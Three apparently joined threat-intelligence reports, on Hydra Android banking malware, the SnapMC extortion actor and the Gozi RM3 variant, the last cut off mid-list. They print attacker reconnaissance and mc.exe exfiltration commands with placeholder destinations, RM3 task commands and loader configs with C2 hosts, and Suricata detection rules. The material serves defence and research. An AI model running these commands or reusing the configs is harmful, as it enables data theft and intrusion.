This publication is part of our Annual Threat Monitor report that was released on the 8th of Febuary 2023. The Annual threat Monitor report can be found here.

Authored by Alberto Segura

Introduction

Hydra, also known as BianLian, has been one of the most active mobile banking malware families in 2022, alongside Sharkbot and Flubot (until Flubot was taken down by Law Enforcement at the end of May 2022).

The features implemented in this banking malware are present in most of the banking malware families: injections/overlays, keylogging (listening to Accessibility events) and, since June 2022, Hydra has even introduced a cookie-stealing feature which targeted several banking entities in Spain.

It is interesting to see that lately different banking malware families are introducing the possibility to steal cookies. This could originate from cybercriminals being more eager to rent banking malware with this capability, hence giving the malware author more revenue when implemented.

During our research, we found that an important number of the command-and-control (C2) servers are located in the Netherlands. This is an interesting pattern, especially since threat actors (TAs) active in mobile malware have been frequently hosting their infrastructure in Russia and China.

Credential-stealing Features

Hydra is an Android banking malware whose main goal is stealing credentials, so TAs can access those accounts and monetize them directly or indirectly by selling them to third parties. Hydra steals credentials using the following two strategies:

• Overlays/Injections, at the beginning of the infection, it sends a few requests to the C2 server, and receives a list of targeted applications and a URL that points to a ZIP file which contains the corresponding injections. The targets consist mostly of banks and cryptocurrency wallets. Hydra saves these injections locally and shows them as soon as it detects a user opening a banking application. That way, the victim thinks it is the official application that requests credentials or credit card information.
  

When the injection is shown and the victim enters his credentials, the malware uses JavaScript’s “Console.Log” function to send the credentials to the native Java code of the application. This function is reimplemented by the malware to send credentials to the C2 server, which is shown in the figure below.

• Keylogging,Hydra abuses the Accessibility permissions to set up an Accessibility service that receives every Accessibility event happening on the infected device. This way the malware receives change events for TextFields (to steal usernames and passwords) and button clicks.

In order to complement the credential-stealing features, Hydra includes a screencast component that sends screenshots to the C2 server and receives commands used to simulate Accessibility events (click buttons, enter text in TextFields, etc.). This way the TAs can manipulate the target application on the victim’s device to monetize the account associated with that application. This is a good way to bypass antifraud security measures focused on checking IP addresses or devices that log in to the accounts or make transfers.

Besides credential-stealing features, Hydra implements features to steal other information from the infected device. Especially information required for successful account takeovers and monetization of accounts, such as received SMS messages for OTP codes, a list of installed applications, or the unlock code of the device which can be used to unlock the device and start the screencast feature.

Apart from the previously mentioned features, Hydra developers introduced a new and interesting feature around June 2022: stealing cookies. With this new feature, the malware can steal cookies from sessions linked to bank accounts of victims, avoiding the need of credentials when logging in.

New features: Stealing Cookies

Around June 2022 we found new samples introducing this new feature used to steal cookies from sessions after the victims log in to their accounts. Since the beginning until now, there are not that many targeted banks or other applications targeted by this feature, but the list has been increasing in the past months.

It started targeting a few applications – Google Mail and BBVA Spain -, as we can see in the following image:

But after some months, TAs included two more targets – Facebook and Davivienda – to steal credentials:

As we can see in the previous pictures of the decompiled code, to implement this feature, TAs include the package name of the targeted applications alongside the URLs to the mobile login website. This way, a WebView can show the victim the official login page and, after the victim successfully logs in to his account, the cookies of the loaded website in the WebView are forwarded to the C2 server.

It is interesting that TAs include the list of targeted applications by the cookie-stealing feature hardcoded in each sample, while the list of targets for injections is retrieved from the C2 server. Since it is a new feature, it is probably in a test phase, and after some time TAs could start retrieving the list of cookie-stealer targets from the C2 server instead of hardcoding the list in the malware.

Hydra Variants

We found that Hydra has different variants with small changes between them. The principal features are present in all of them, but they include different information about the C2 server. Hydra can be categorized in three variants based on how it includes the C2 server information:

• Using Tor, this variant includes a Tor (.onion) URL to the endpoint ‘/api/mirrors’. As response, it will receive a Base64-encoded JSON with the list of C2 servers to use. This variant includes code to download Tor native libraries in order to connect to this ‘backup C2’ using the Tor network.

• Using GitHub, this variant includes a GitHub repository file containing a Base64-encoded JSON object with the list of C2 servers. This is almost equivalent to the Tor variant, but it uses GitHub instead of using the Tor network – it does not include code to download and run Tor native libraries.

• Hardcoded C2 server, this variant includes the C2 server in the binary itself and eventually sends a request to the path ‘/api/mirrors’ in order to get a new list of C2 servers that it can use in the future if the hardcoded one goes down.

C2 Server Analysis

During our Hydra research, we have been collecting an important number of C2 servers used in different samples. From all those servers, we found that some countries are preferred over others in terms of hosting.

This usually happens with Russia or China, which are the preferred countries to host C2 servers by TAs, but surprisingly, Hydra’s TAs are using other countries such as the Netherlands (73), United States (42) and Ukraine (29). In this case, we observed only 19 servers hosted in Russia and none in China.

In the following picture we can see a world map with the different countries hosting Hydra’s C2 servers. The color intensity increases with the increase in amount of servers.

Besides the different Hydra variants used for each sample, we found that different C2 servers are configured with a different target list. This is normal, since this malware is rented out by its developers, so each TA has different interests in what banks or applications to target. Even though most of the servers seem to use a default list of targets – probably all the supported banks/apps -, there are certain servers with a smaller list of targets, usually focused on banks or applications used in specific countries or languages – such as LATAM and Spanish banks.

Even though some servers use a different configuration – different list of targeted apps -, most of the servers use the same list. This could mean that Hydra developers ship their malware with a default list of targets or that attackers use a default list of targets themselves.

Network Detection

The behavior displayed by Hydra can be detected using network detection. The following Suricata rules were tested successfully against Hydra network traffic:

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"FOX-SRT - Trojan - Hydra Mobile Malware Configuration Observed (injects)"; flow:established,to_client; content:"|22|injects_loaded|22|:"; http_server_body; fast_pattern; threshold:type limit,track by_dst,count 1,seconds 600; reference:url,https://blog.fox-it.com/2023/02/15/threat-spotlight-hydra/; metadata:ids suricata; metadata:created_at 2023-02-15; classtype:trojan-activity; sid:21004395; rev:1;)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"FOX-SRT - Trojan - Hydra Mobile Malware Configuration Observed (keylogger)"; flow:established,to_client; content:"|22|enable_keylogger|22|:"; http_server_body; fast_pattern; threshold:type limit,track by_dst,count 1,seconds 600; reference:url,https://blog.fox-it.com/2023/02/15/threat-spotlight-hydra/; metadata:ids suricata; metadata:created_at 2023-02-15; classtype:trojan-activity; sid:21004396; rev:1;)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"FOX-SRT - Trojan - Possible Hydra Mobile Malware POST Observed"; flow:established,to_server; content:"POST"; http_method; content:"AndroidBot -> "; http_client_body; depth:64; fast_pattern; threshold:type limit,track by_src,count 1,seconds 600; reference:url,https://blog.fox-it.com/2023/02/15/threat-spotlight-hydra/; metadata:ids suricata; metadata:created_at 2023-02-15; classtype:trojan-activity; sid:21004397; rev:1;)

These rules are compatible with Suricata 4 and later.

Conclusion

Hydra has been one of the most active banking malware families for Android in 2022, alongside other notorious families such as Flubot, Sharkbot and Teabot. This banker is rented out through underground forums, and TAs that rent the malware configure the list of targeted applications based on their needs. However, most of target lists we observed in Hydra samples are equivalent, hinting at a default configuration.

Typical features to steal credentials are implemented in this family: injections/overlays, keylogging and, from around June 2022, the developers also started to include cookies-stealing features to the rented samples. All these features make Hydra one of the more interesting banking malware families to rent for TAs. This can explain why we observed a lot of samples of Hydra every day, many sharing the same C2 server.

Even if the credential-stealing features and the rest of the code is the same for all the samples we detected, we found there are differences in the way the C2 servers are included in various samples. For this reason, we distinguish three different variants based on how the C2 server is included: an Onion service, a GitHub repository with the list of C2 servers and, finally, just a URL to the C2 server it should use.

During our research we also found that TAs are frequently hosting their C2s in the same countries, such as the Netherlands, United States and Ukraine, instead of hosting them in Russia or China, as usual. Additionally, most of the servers have enabled all the supported injections, instead of enabling only those applications which are more interesting to the TA depending on, for example, the country of the bank.

We expect this family to be one of the most active mobile banking malware in the upcoming months, with its developers implementing new and interesting features.

Over the past few months NCC Group has observed an increasing number of data breach extortion cases, where the attacker steals data and threatens to publish said data online if the victim decides not to pay. Given the current threat landscape, most notable is the absence of ransomware or any technical attempt at disrupting the victim’s operations.

Within the data breach extortion investigations, we have identified a cluster of activities defining a relatively constant modus operandi described in this article. We track this adversary as SnapMC and have not yet been able to link it to any known threat actors. The name SnapMC is derived from the actor’s rapid attacks, generally completed in under 30 minutes, and the exfiltration tool mc.exe it uses.

Extortion emails threatening their recipients have become a trend over time. The lion’s share of these consists of empty threats sent by perpetrators hoping to profit easily without investing in an actual attack. In the extortion emails we have seen from SnapMC have given victims 24 hours to get in contact and 72 hours to negotiate. These deadlines are rarely abided by since we have seen the attacker to start increasing the pressure well before countdown hits zero. SnapMC includes a list of the stolen data as evidence that they have had access to the victim’s infrastructure. If the organization does not respond or negotiate within the given timeframe, the actor threatens to (or immediately does) publish the stolen data and informs the victim’s customers and various media outlets.

Modus Operandi

Initial Access

At the time of writing NCC Group’s Security Operations Centers (SOCs) have seen SnapMC scanning for multiple vulnerabilities in both webserver applications and VPN solutions. We have observed this actor successfully exploiting and stealing data from servers that were vulnerable to:

• Remote code execution in Telerik UI for ASPX.NET [1]
• SQL injections

After successfully exploiting a webserver application, the actor executes a payload to gain remote access through a reverse shell. Based on the observed payloads and characteristics the actor appears to use a publicly available Proof-of-Concept Telerik Exploit [2].

Directly afterwards PowerShell is started to perform some standard reconnaissance activity:

• whoami
• whoami /priv
• wmic logicaldisk get caption,description,providername
• net users /priv

Note: that in the last command the adversary used the ‘/priv’ option, which is not a valid option for the net users command.

Privilege Escalation

In most of the cases we analyzed the threat actor did not perform privilege escalation. However in one case we did observe SnapMC trying to escalate privileges by running a handful of PowerShell scripts:

• Invoke-Nightmare [3]
• Invoke-JuicyPotato [4]
• Invoke-ServiceAbuse [4]
• Invoke-EventVwrBypass [6]
• Invoke-PrivescAudit [7]

Collection & Exfiltration

We observed the actor preparing for exfiltration by retrieving various tools to support data collection, such as 7zip and Invoke-SQLcmd scripts. Those, and artifacts related to the execution or usage of these tools, were stored in the following folders:

• C:\Windows\Temp\
• C:\Windows\Temp\Azure
• C:\Windows\Temp\Vmware

SnapMC used the Invoke-SQLcmd PowerShell script to communicate with the SQL database and export data. The actor stored the exported data locally in CSV files and compressed those files with the 7zip archive utility.

The actor used the MinIO [8] client to exfiltrate the data. Using the PowerShell commandline, the actor configured the exfil location and key to use, which were stored in a config.json file. During the exfiltration, MinIO creates a temporary file in the working directory with the file extension […].par.minio.

C:\Windows\Temp\mc.exe --config-dir C:\Windows\Temp\vmware\.x --insecure alias set <DIR> <EXFIL_LOCATION> <API key> <API SECRET> 

C:\Windows\Temp\mc.exe --config-dir C:\Windows\Temp\vmware\.x --insecure cp --recursive [DIR NAME] <CONFIGURED DIRECTORY>/<REMOTE DIRECTORY>/<VICTIM DIRECTORY>

Mitigations

First, initial access was generally achieved through known vulnerabilities, for which patches exist. Patching in a timely manner and keeping (internet connected) devices up-to-date is the most effective way to prevent falling victim to these types attacks. Make sure to identify where vulnerable software resides within your network by (regularly performing) vulnerability scanning.

Furthermore, third parties supplying software packages can make use of the vulnerable software as a component as well, leaving the vulnerability outside of your direct reach. Therefore, it is important to have an unambiguous mutual understanding and clearly defined agreements between your organization, and the software supplier about patch management and retention policies. The latter also applies to a possible obligation to have your supplier provide you with your systems for forensic and root cause analysis in case of an incident.

Worth mentioning, when reference testing the exploitability of specific versions of Telerik it became clear that when the software component resided behind a well configured Web Application Firewall (WAF), the exploit would be unsuccessful.

Finally, having properly implemented detection and incident response mechanisms and processes seriously increases the chance of successfully mitigating severe impact on your organization. Timely detection, and efficient response will reduce the damage even before it materializes.

Conclusion

NCC Group’s Threat Intelligence team predicts that data breach extortion attacks will increase over time, as it takes less time, and even less technical in-depth knowledge or skill in comparison to a full-blown ransomware attack. In a ransomware attack, the adversary needs to achieve persistence and become domain administrator before stealing data and deploying ransomware. While in the data breach extortion attacks, most of the activity could even be automated and takes less time while still having a significant impact. Therefore, making sure you are able to detect such attacks in combination with having an incident response plan ready to execute at short notice, is vital to efficiently and effectively mitigate the threat SnapMC poses to your organization.

MITRE ATT&CK mapping

Tactic	Technique	Procedure
Reconnaissance	T1595.002 – Vulnerability scanning	SnapMC used the Acunetix vulnerability scanner to find systems running vulnerable Telerik software.
Initial Access	T1190 – Exploit Public Facing Application(s)	SnapMC exploited CVE-2019-18935 and SQL Injection.
Privilege Escalation		SnapMC used a combination of PowerShell cmdlets to achieve privilege escalation.
Execution	T1059.001 – PowerShell	SnapMC used a combination of publicly available PowerShell cmdlets.
Collection	T1560.001 – Archive via Utility	SnapMC used 7zip to prepare data for exfiltration.
Exfiltration	T1567 – Exfiltration over Web Service T1567.002 – Exfiltration to Cloud Storage	SnapMC used MinIO client (mc.exe) to exfiltrate data.

Indicators of Compromise

Type	Data	Notes
File location + file name	C:\Windows\Temp[0-9]{10}.[0-9]{1,8}.dll (Example: c:\Windows\Temp\1628862598.87034184.dll)	File name of dropped payload after successful Telerik exploitation; the first part is the epoch timestamp and last part is randomly generated
File location + file name	C:\Windows\Temp\7za.exe	7zip archiving utility
File name	s.ps1	SQL cmdlet
File name	a.ps1	SQL cmdlet
File name	x.ps1	SQL cmdlet
File name	*.par.minio	Temporary files created by MinIO during exfiltration
File location	C:\Windows\Temp\Azure\	Folder for temporary files created by MinIO
File location	C:\Windows\Temp\Vmware\	Folder for temporary files created by MinIO
File name	mc.exe	MinIO client
Hash	651ed548d2e04881d0ff24f789767c0e	MD5 hash of MinIO client
Hash	b4171d48df233978f8cf58081b8ad9dc51a6097f	SHA1 hash of MinIO client
Hash	0a1d16e528dc1e41f01eb7c643de0dfb4e5c4a67450c4da78427a8906c70ef3e	SHA265 hash of MinIO client

References

1. https://nvd.nist.gov/vuln/detail/CVE-2019-18935
2. https://github.com/noperator/CVE-2019-18935
3. https://github.com/calebstewart/CVE-2021-1675
4. https://github.com/d0nkeys/redteam/tree/master/privilege-escalation
5. https://powersploit.readthedocs.io/en/latest/Privesc/Invoke-ServiceAbuse/
6. https://github.com/gushmazuko/WinBypass
7. https://powersploit.readthedocs.io/en/latest/Privesc/Invoke-PrivescAudit/
8. https://min.io/

fumik0_ & the RIFT Team

TL:DR

Our Research and Intelligence Fusion Team have been tracking the Gozi variant RM3 for close to 30 months. In this post we provide some history, analysis and observations on this most pernicious family of banking malware targeting Oceania, the UK, Germany and Italy. 

We’ll start with an overview of its origins and current operations before providing a deep dive technical analysis of the RM3 variant. 

Introduction

Despite its long and rich history in the cyber-criminal underworld, the Gozi malware family is surrounded with mystery and confusion. The leaking of its source code only increased this confusion as it led to an influx of Gozi variants across the threat landscape.  

Although most variants were only short-lived – they either disappeared or were taken down by law enforcement – a few have had greater staying power. 

Since September 2019, Fox-IT/NCC Group has intensified its research into known active Gozi variants. These are operated by a variety of threat actors (TAs) and generally cause financial losses by either direct involvement in transactional fraud, or by facilitating other types of malicious activity, such as targeted ransomware activity. 

Gozi ISFB started targeting financial institutions around 2013-2015 and hasn’t stopped since then. It is one of the few – perhaps the only – main active branches of the notorious 15 year old Gozi / CRM. Its popularity is probably due to the wide range of variants which are available and the way threat actor groups can use these for their own goals. 

In 2017, yet another new version was detected in the wild with a number of major modifications compared to the previous main variant:

• Rebranded RM loader (called RM3) 
• Used exotic PE file format exclusively designed for this banking malware 
• Modular architecture 
• Network communication reworked 
• New modules 

Given the complex development history of the Gozi ISFB forks, it is difficult to say with any certainty which variant was used as the basis for RM3. This is further complicated by the many different names used by the Cyber Threat Intelligence and Anti-Virus industries for this family of malware. But if you would like to understand the rather tortured history of this particular malware a little better, the research and blog posts on the subject by Check Point are a good starting point.

Banking malware targeting mainly Europe & Oceania

With more than four years of activity, RM3 has had a significant impact on the financial fraud landscape by spreading a colossal number of campaigns, principally across two regions:

• Oceania, to date, Australia and New Zealand are the most impacted countries in this region. Threat actors seemed to have significant experience and used traditional means to conduct fraud and theft, mainly using web injects to push fakes or replacers directly into financial websites. Some of these injectors are more advanced than the usual ones that could be seen in bankers, and suggest the operators behind them were more sophisticated and experienced.
• Europe, targeting primarily the UK, Germany and Italy. In this region, a manual fraud strategy was generally followed which was drastically different to the approach seen in Oceania.

---

It’s worth noting that ‘Elite’ in this context means highly skilled operators. The injects provided and the C&C servers are by far the most complicated and restricted ones seen up to this date in the fraud landscape.

Fox-IT/NCC Group has currently counted at least eight* RM3 infrastructures:

• 4 in Europe
• 2 in Oceania (that seem to be linked together based on the fact that they share the same inject configurations)
• 1 worldwide (using AES-encryption)
• 1 unknown

Looking back, 2019 seems to have been a golden age (at least from the malware operators’ perspective), with five operators active at the same time. This golden age came to a sudden end with a sharp decline in 2020.

Even when some RM3 controllers were not delivering any new campaigns, they were still managing their bots by pushing occasional updates and inspecting them carefully. Then, after a number of weeks, they start performing fraud on the most interesting targets. This is an extremely common pattern among bank malware operators in our experience, although the reasons for this pattern remain unclear. It may be a tactic related to maintaining stealth or it may simply be an indication of the operators lagging behind the sheer number of infections.

The global pandemic has had a noticeable impact on many types of RM3 infrastructure, as it has on all malware as a service (MaaS) operations. The widespread lockdowns as a result of the pandemic have resulted in a massive number of bots being shut down as companies closed and users were forced to work from home, in some cases using personal computers. This change in working patterns could be an explanation for what happened between Q1 & Q3 2020, when campaigns were drastically more aggressive than usual and bot infections intensified (and were also of lower quality, as if it was an emergency). The style of this operation differed drastically from the way in which RM3 operated between 2018 and 2019, when there was a partnership with a distributor actor called Sagrid.

Analysis of the separate campaigns reveals that individual campaign infrastructures are independent from each of the others and operate their own strategies:

RM3 Infra	Tasks	Injects †
		Financial	VNC	SOCKS
UK 1	No‡	Yes	Yes	Yes
UK 2	Yes	No	No	No
Italy	No‡	Yes	Yes	Yes
Australia/NZ 1	Yes	Yes	No‡	No
Australia/NZ 2	Yes	Yes	No‡	No
RM3 .at	???	???	???	???
Germany	???	???	???	???
Worldwide	Yes	No	No	No

† Based on the web inject configuration file from config.bin
‡ Based on active campaign monitoring, threat actor team(s) are mainly inspecting bots to manually push extra commands like VNC module for starting fraud activities.

A robust and stable distribution routine

As with many malware processes, renewing bots is not a simple, linear thing and many elements have to be taken into consideration:

• Malware signatures
• Packer evading AV/EDR
• Distribution used (ratio effectiveness)
• Time of an active campaign before being takedown by abuse

Many channels have been used to spread this malware, with distribution by spam (malspam) the most popular – and also the most effective. Multiple distribution teams are behind these campaigns and it is difficult to identify all of them; particularly so now, given the increased professionalisation of these operations (which now can involve shorter term, contractor like relationships). As a result, while malware campaign infrastructures are separate, there is now more overlap between the various infrastructures. It is certain however that one actor known as Sagrid was definitely the most prolific distributor. Around 2018/2019, Sagrid actively spread malware in Australia and New Zealand, using advanced techniques to deliver it to their victims.

The graphic below shows the distribution method of an individual piece of RM3 malware in more detail.

Interestingly, the only exploit kit seen to be involved in the distribution of RM3 has been  Spelevo – at least in our experience. These days, Exploit Kits (EK) are not as active as in their golden era in the 2010s (when Angler EK dominated the market along with Rig and Magnitude). But they are still an interesting and effective technique for gathering bots from corporate networks, where updates are complicated and so can be delayed or just not performed. In other words, if a new bot is deployed using an EK, there is a higher chance that it is part of big network than one distributed by a more ‘classic’ malspam campaign.

Strangely, to this date, RM3 has never been observed targeting financial institutions in North America. Perhaps there are just no malicious actors who want to be part of this particular mule ecosystem in that zone. Or perhaps all the malicious actors in this region are still making enough money from older strains or another banking malware.

Nowadays, there is a steady decline in banking malware in general, with most TAs joining the rising and explosive ransomware trend. It is more lucrative for bank malware gangs to stop their usual business and try to get some exclusive contracts with the ransom teams. The return on investment (ROI) of a ransom paid by a victim is significantly higher than for the whole classic money mule infrastructure. The cost and time required in money mule and inject operations are much more complex than just giving access to an affiliate and awaiting royalties.

Large number of financial institutions targeted

Fox-IT/NCC Group has identified more than 130 financial institution targeted by threat actor groups using this banking malware. As the table below shows, the scope and impact of these attacks is particularly concentrated on Oceania. This is also the only zone where loan and job websites are targeted. Of course, targeting job websites provides them with further opportunities to hire money mules more easily within their existing systems.

A short timeline of post-pandemic changes

As we’ve already said, the pandemic has had an impact across the entire fraud landscape and forced many TAs (not just those using RM3) to drastically change their working methods. In some cases, they have shut down completely in one field and started doing something else. For RM3 TAs, as for all of us, these are indeed interesting times.

Q3 2019 – Q2 2020, Classic fraud era

Before the pandemic, the tasks pushed by RM3 were pretty standard when a bot was part of the infrastructure. The example below is a basic check for a legitimate corporate bot with an open access point for a threat actor to connect to and start to use for fraud.

GET_CREDS
GET_SYSINFO
LOAD_MODULE=mail.dll,UXA
LOAD_KEYLOG=*
LOAD_SOCKS=XXX.XXX.XXX.XXX:XXXX

Otherwise, the banking malware was configured as an advanced infostealer, designed to steal data and intercept all keyboard interactions.

GET_CREDS
LOAD_MODULE=mail.dll,UXA
LOAD_KEYLOG=*

Q4 2020 – Now, Bot Harvesting Era

Nowadays, bots are basically  removed if they are coming from old infrastructures, if they are not part of an active campaign. It’s an easy way for them for removing researcher bots

DEL_CONFIG

Otherwise, this is a classic information gathering system operation on the host and network. Which indicates TAs are following the ransomware path and declining their fraud legacy step by step.

GET_SYSINFO
RUN_CMD=net group "domain computers" /domain
RUN_CMD=net session

RM3 Configs – Invaluable threat intelligence data

RM3.AT

Around the summer of 2019, when this banking malware was at its height, an infrastructure which was very different from the standard ones first emerged. It mostly used infostealers for distribution and pushed an interesting variant of the RM3 loader.

Based on configs, similarities with the GoziAT TAs were seen. The crossovers were:

• both infrastructure are using the .at TLD
• subdomains and domains are using the same naming convention
• Server ID is also different from the default one (12)
• Default nameservers config
• First seen when GoziAT was curiously quiet

An example loader.ini file for RM3.at is shown below:

LOADER.INI - RM3 .AT example
{
    "HOSTS": [
        "api.fiho.at",
        "t2.fiho.at"
    ],
    "NAMESERVERS": [
        "172.104.136.243",
        "8.8.4.4",
        "192.71.245.208",
        "51.15.98.97",
        "193.183.98.66",
        "8.8.8.8"
    ],
    "URI": "index.htm",
    "GROUP": "3000",
    "SERVER": "350",
    "SERVERKEY": "s2olwVg5cU7fWsec",
    "IDLEPERIOD": "10",
    "LOADPERIOD": "10",
    "HOSTKEEPTIMEOUT": "60",
    "DGATEMPLATE": "constitution.org/usdeclar.txt",
    "DGAZONES": [
        "com",
        "ru",
        "org"
    ],
    "DGATEMPHASH": "0x4eb7d2ca",
    "DGAPERIOD": "10"
}

As a reminder, the ISFB v2 variant called GoziAT (which technically uses the RM2 loader) uses the format shown below:

LOADER.INI - GoziAT/ISFB (RM2 Loader) 
{
    "HOSTS": [
        "api10.laptok.at/api1",
        "golang.feel500.at/api1",
        "go.in100k.at/api1"
    ],
    "GROUP": "1100",
    "SERVER": "730",
    "SERVERKEY": "F2oareSbPhCq2ch0",
    "IDLEPERIOD": "10",
    "LOADPERIOD": "20",
    "HOSTSHIFTTIMEOUT": "1"
}

But this RM3 infrastructure disappeared just a few weeks later and has never been seen again. It is not known if the TAs were satisfied with the product and its results and it remains one of the unexplained curiosities of this banking malware

But, we can say this marked the return of GoziAT, which was back on track with intense campaigns.

Other domains related to this short lived RM3 infrastructure were.

• api.fiho.at
• y1.rexa.at
• cde.frame303.at
• api.frame303.at
• u2.inmax.at
• cdn5.inmax.at
• go.maso.at
• f1.maso.at

Standard routine for other infrastructures

Meanwhile, a classic loader config will mostly need standard data like any other malware:

• C&C domains (called hosts on the loader side)
• Timeout values
• Keys

The example below shows a typical loader.ini file from a more ‘classic’ infrastructure. This one is from Germany, but similar configurations were seen in the UK1, Australia/New Zealand1 and Italian infrastructures:

LOADER.INI – DE 
{
    "HOSTS": "https://daycareforyou.xyz",
    "ADNSONLY": "0",
    "URI": "index.htm",
    "GROUP": "40000",
    "SERVER": "12",
    "SERVERKEY": "z2Ptfc0edLyV4Qxo",
    "IDLEPERIOD": "10",
    "LOADPERIOD": "10",
    "HOSTKEEPTIMEOUT": "60",
    "DGATEMPLATE": "constitution.org/usdeclar.txt",
    "DGAZONES": [
        "com",
        "ru",
        "org"
    ],
    "DGATEMPHASH": "0x4eb7d2ca",
    "DGAPERIOD": "10"
}

Updates to RM3 were observed to be ongoing, and more fields have appeared since the 3009XX builds (e.g: 300912, 900932):

• Configuring the self-removing process
• Setup the loader module as the persistent one
• The Anti-CIS (langid field) is also making a comeback

The example below shows a typical client.ini file as seen in build 3009xx from the UK2 and Australia/New Zealand 2 infrastructures:

CLIENT.INI 
{
    "HOSTS": "https://vilecorbeanca.xyz",
    "ADNSONLY": "0",
    "URI": "index.htm",
    "GROUP": "92020291",
    "SERVER": "12",
    "SERVERKEY": "kD9eVTdi6lgpH0Ml",
    "IDLEPERIOD": "10",
    "LOADPERIOD": "10",
    "HOSTKEEPTIMEOUT": "60",
    "NOSCRIPT": "0",
    "NODELETE": "0",
    "NOPERSISTLOADER": "0",
    "LANGID": "RU",
    "DGATEMPLATE": "constitution.org/usdeclar.txt",
    "DGATEMPHASH": "0x4eb7d2ca",
    "DGAZONES": [
        "com",
        "ru",
        "org"
    ],
    "DGAPERIOD": "10"
}

The client.ini file mainly stores elements that will be required for the explorer.dll module:

• Timeouts values
• Maximum size allowed for RM3 requests to the controllers
• Video config
• HTTP proxy activation

CLIENT.INI - Default Format
{
    "CONTROLLER": [
        "",
    ],
    "ADNSONLY": "0",
    "IPRESOLVERS": "curlmyip.net",
    "SERVER": "12",
    "SERVERKEY": "",
    "IDLEPERIOD": "300",
    "TASKTIMEOUT": "300",
    "CONFIGTIMEOUT": "300",
    "INITIMEOUT": "300",
    "SENDTIMEOUT": "300",
    "GROUP": "",
    "HOSTKEEPTIMEOUT": "60",
    "HOSTSHIFTTIMEOUT": "60",
    "RUNCHECKTIMEOUT": "10",
    "REMOVECSP": "0",
    "LOGHTTP": "0",
    "CLEARCACHE": "1",
    "CACHECONTROL": [
        "no-cache,",
        "no-store,",
        "must-revalidate"
    ],
    "MAXPOSTLENGTH": "300000",
    "SETVIDEO": [
        "30,",
        "8,",
        "notipda"
    ],
    "HTTPCONNECTTIME": "480",
    "HTTPSENDTIME": "240",
    "HTTPRECEIVETIME": "240"
}

What next?

Active monitoring of current in-the-wild instances suggests that the RM3 TAs are progressively switching to the ransomware path. That is, they have not pushed any updates on the fraud side of their operations for a number of months (by not pushing any injects), but they are still maintaining their C&C infrastructure. All infrastructure has a cost and the fact they are maintaining their C&C infrastructure without executing traditional fraud is a strong indication they are changing their strategy to another source of income.

The tasks which are being pushed (and old ones since May 2020) are triage steps for selecting bots which could be used for internal lateral movement. This pattern of behaviour is becoming more evident everyday in the latest ongoing campaigns, where everyone seems to be targeted and the inject configurations have been totally removed.

As a reminder, over the past two years banking malware gangs in general have been seen to follow this trend. This is due to the declining fraud ecosystem in general, but also due to the increased difficulty in finding inject developers with the skills to develop effective fakes which this decline has also prompted.

We consider RM3 to be the most advanced ISFB strain to date, and fraud tools can easily be switched into a malicious red team like strategy.

Why is RM3 the most advanced ISFB strain?

As we said, we consider RM3 to be the most advanced ISFB variant we have seen. When we analyse the RM3 payload, there is a huge gap between it and its predecessors. There are multiple differences:

• A new PE format called PX has been developed
• The .bss section is slightly updated for storing RM3 static variables
• A new structure called WD based on the J1/J2/J3/JJ ISFB File Join system for storing files

PX Format

As mentioned, RM3 is designed to work with PX payloads (Portable eXecutable). This is an exotic file format created for, and only used with, this banking malware. The structure is not very different from the original PE format, with almost all sections, data directories and section tables remaining intact. Essentially, use of the new file format just requires malware to be re-crafted correctly in a new payload at the correct offset.

BSS section

The bss section (Block Starting Symbol) is a critical data segment used by all strains of ISFB for storing uninitiated static local variables. These variables are encrypted and used for different interactions depending on the module in use.

In a compiled payload, this section is usually named “.bss0”. But evidence from a source code leak shows that this is originally named “.bss” in the source code. These comments also make it clear that this module is encrypted.

This is illustrated by the source code comments shown below:

// Original section name that will be created within a file
#define CS_SECTION_NAME ".bss0"
// The section will be renamed after the encryption completes.
// This is because we cannot use reserved section names aka ".rdata" or ".bss" during compile time.
#define CS_NEW_SECTION_NAME ".bss"

When working with ISFB, it is common to see the same mechanism or routine across multiple compiled builds or variants. However, it is still necessary to analyse them all in detail because slight adjustments are frequently introduced. Understanding these minor changes can help with troubleshooting and explain why scripts don’t work. The decryption routine in the bss section is a perfect example of this; it is almost identical to ISFB v2 variants, but the RM3 developers decided to tweak it just slightly by creating an XOR key in a different way – adding a FILE_HEADER.TimeDateStamp with the gs_Cookie (this information based on the ISFB leak).

Occasionally, it is possible to see a debugged and compiled version of RM3 in the wild. It is unknown if this behaviour is intended for some reason or simply a mistake by TA teams, but it is a gold mine for understanding more about the underlying code.

WD Struct

ISFB has its own way of storing and using embedded files. It uses a homemade structure that seems to change its name whenever there is a new strain or a major ISFB update:

• FJ or J1 – Old ISFB era
• J2 – Dreambot
• J3 – ISFB v3 (Only seen in Japan)
• JJ – ISFB v2 (v2.14+ – now)
• WD – RM3 / Saigon

To get a better understanding of the latest structure in use, it is worth taking a quick look back at the active strains of ISFB v2 still known to use the JJ system.

The structure is pretty rudimentary and can be summarised like this:

struct JJ_Struct {
 DWORD xor_cookie;
 DWORD crc32;
 DWORD size;
 DWORD addr;
} JJ;

With RM3, they decided to slightly rework the join file philosophy by creating a new structure called WD. This is basically just a rebranded concept; it just adds the JJ structure (seen above) and stores it as a pointer array.

The structure itself is really simple:

struct WD_Struct {
  DWORD size;
  WORD magic;
  WORD flag;
  JJ_Struct *jj;
} WD;

In allRM3 builds, these structures simply direct the malware to grab an average of at least 4 files†:

• A PX loader
• An RSA pubkey
• An RM3 config
• A wordlist that will be mainly used for create subkeys in the registry

† The amount of files is dependent on the loader stage or RM3 modules used. It is also based on the ISFB variant, as another file could be present which stores the langid value (which is basically the anti-cis feature for this banking malware).

Architecture

Every major ISFB variant has something that makes it unique in some way. For example, the notorious Dreambot was designed to work as a standalone payload; the whole loader stage walk-through was removed and bots were directly pointed at the correct controllers. This choice was mainly explained by the fact that this strain was designed to work as malware as a service. It is fairly standard right now to see malware developers developing specific features for TAs – if they are prepared to pay for them. In these agreements, TAs can be guaranteed some kind of exclusivity with a variant or feature. However, this business model does also increase the risk of misunderstanding and overlap in term of assigning ownership and responsibility. This is one of the reasons it is harder to get a clear picture of the activities happening between malware developers & TAs nowadays.

But to get back to the variant we are discussing here; RM3 pushed the ISFB modular plugin system to its maximum potential by introducing a range of elements into new modules that had never been seen before. These new modules included:

• bl.dll
• explorer.dll
• rt.dll
• netwrk.dll

These modules are linked together to recreate a modded client32.bin/client64.bin (modded from the client.bin seen in ISFB v2). This new architecture is much more complicated to debug or disassemble. In the end, however, we can split this malware into 4 main branches:

• A modded client32.bin/client64.bin
